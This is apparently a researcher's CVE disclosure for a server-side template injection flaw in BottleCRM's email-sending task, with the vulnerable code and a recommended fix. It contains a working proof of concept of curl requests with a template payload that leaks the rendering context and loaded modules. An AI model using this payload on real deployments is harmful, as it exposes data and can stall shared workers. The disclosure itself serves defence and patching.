← Back to CVEs
BottleCRM

CVE-2026-110593 - BottleCRM through 1.14.5 Server-Side Template Injection via Account Email create_mail

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-110593.


DetailInformation
CVE RecordCVE-2026-110593
Severity5.3 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N)
5.4 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L)
Date Published2026-10-14
Software NameBottleCRM
Affected Version(s)0 through 1.14.5
Software Linkhttps://github.com/django-crm/django-crm
VendorMicroPyramid
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

BottleCRM through 1.14.5 contains a server-side template injection vulnerability in the send_email Celery task, which compiles the user-supplied AccountEmail message_body with django.template.Template(). Authenticated organization members can submit template tags through POST /api/accounts/<id>/create_mail/ to disclose the rendering context and loaded Python modules, or block the shared Celery worker with nested loops.


Proof-of-Concept

1. Obtain fresh admin token bound to org (required for each session).

ADMIN=$(docker exec django-crm-backend-1 python manage.py devlogin "aswin.1231@gmail.com" --org "37ec1695-79ee-4ddb-82df-36b8fc05de21" 2>/dev/null | grep "access_token:" | awk '{print $2}')

2. Create target contact.

curl -sS -X POST "http://127.0.0.1:8000/api/contacts/" \
    -H "Authorization: Bearer $ADMIN" \
    -H "Content-Type: application/json" \
    -d '{"first_name":"Victim","last_name":"User","email":"victim.poc@example.com","account":"82bea29c-f2d6-4b88-b18a-963cc1a44b1b"}'

# → {"error":false,"message":"Contact created Successfuly","id":"d71f6f24-4151-4eab-bcff-1e71516f1404"}

3. Send mail with SSTI payload.

CID=d71f6f24-4151-4eab-bcff-1e71516f1404

curl -sS -X POST "http://127.0.0.1:8000/api/accounts/82bea29c-f2d6-4b88-b18a-963cc1a44b1b/create_mail/" \
    -H "Authorization: Bearer $ADMIN" -H "Content-Type: application/json" \
    -d "{\"from_email\":\"attacker@evil.com\",\"recipients\":[\"$CID\"],\"message_subject\":\"poc\",\"message_body\":\"Hello {{ name }}calc:{% widthratio 7 1 7 %}DEBUG:{% debug %}\",\"scheduled_later\":false}"

# → {"error":false,"message":"Email sent successfully","id":"ffcc5b50-628d-42f0-9366-f66f0b39ccb6"}

4. Trigger Celery task and observe rendered output.

docker exec django-crm-backend-1 python -c "
import os, django; os.environ.setdefault('DJANGO_SETTINGS_MODULE','crm.settings'); django.setup()
from accounts.tasks import send_email
send_email.run('ffcc5b50-628d-42f0-9366-f66f0b39ccb6','37ec1695-79ee-4ddb-82df-36b8fc05de21')
from accounts.models import AccountEmail
e = AccountEmail.objects.get(id='ffcc5b50-628d-42f0-9366-f66f0b39ccb6')
print('STORED:', e.message_body)
print('RENDERED:', e.rendered_message_body[:600])"

# → STORED: Hello {{ name }}calc:{% widthratio 7 1 7 %}DEBUG:{% debug %}
RENDERED: Hello Victimcalc:49DEBUG:{'email': 'victim.poc@example.com', 'name': 'Victim'}{'False': False, 'None': None, 'True': True}{'__future__': <module '__future__' from '/usr/local/lib/python3.12/__future__.py'>, ...

Evidence of Exploitation

IndicatorValueMeaning
calc:4949{% widthratio 7 1 7 %} executed (7×7=49). This confirms template tag execution.
DEBUG:{'email':..., 'name':...}Full context leaked{% debug %} executed. This confirms context leakage.

Vulnerable Code Section

@shared_task
def send_email(email_obj_id, org_id):
    set_rls_context(org_id)
    email_obj = AccountEmail.objects.get(id=email_obj_id)
    html = email_obj.message_body          # attacker-controlled
    context_data = {
        "email": contact_obj.email or "",
        "name":  contact_obj.first_name or "",
    }
    html_content = Template(html).render(Context(context_data))  # ← SINK: executes template tags
    email_obj.rendered_message_body = html_content               # persisted
    email_obj.save()
    msg = EmailMessage(..., body=html_content)
    msg.content_subtype = "html"
    msg.send()                                              

Recommended Fix

import re
from django.utils.html import escape


def _safe_render(template_str: str, ctx: dict) -> str:
    """
    Substitute only the known safe placeholders {{ name }} and {{ email }}.
    All values are HTML-escaped. Any remaining {{ }} or {% %} syntax is
    stripped so it cannot reach the recipient's mail client as executable markup.
    """
    for key, value in ctx.items():
        template_str = template_str.replace(
            "{{ " + key + " }}", escape(str(value))
        ).replace(
            "{{" + key + "}}", escape(str(value))
        )
    # Strip any leftover template tags and unresolved variables.
    template_str = re.sub(r"\{%.*?%\}", "", template_str, flags=re.DOTALL)
    template_str = re.sub(r"\{\{.*?\}\}", "", template_str, flags=re.DOTALL)
    return template_str


@shared_task
def send_email(email_obj_id, org_id):
    set_rls_context(org_id)
    email_obj = AccountEmail.objects.get(id=email_obj_id)
    ...
    html = email_obj.message_body
    context_data = {"email": ..., "name": ...}

    # BEFORE: html_content = Template(html).render(Context(context_data))
    html_content = _safe_render(html, context_data)
    ...

Timeline



See you in the next hack.

@aaronamran

October 2026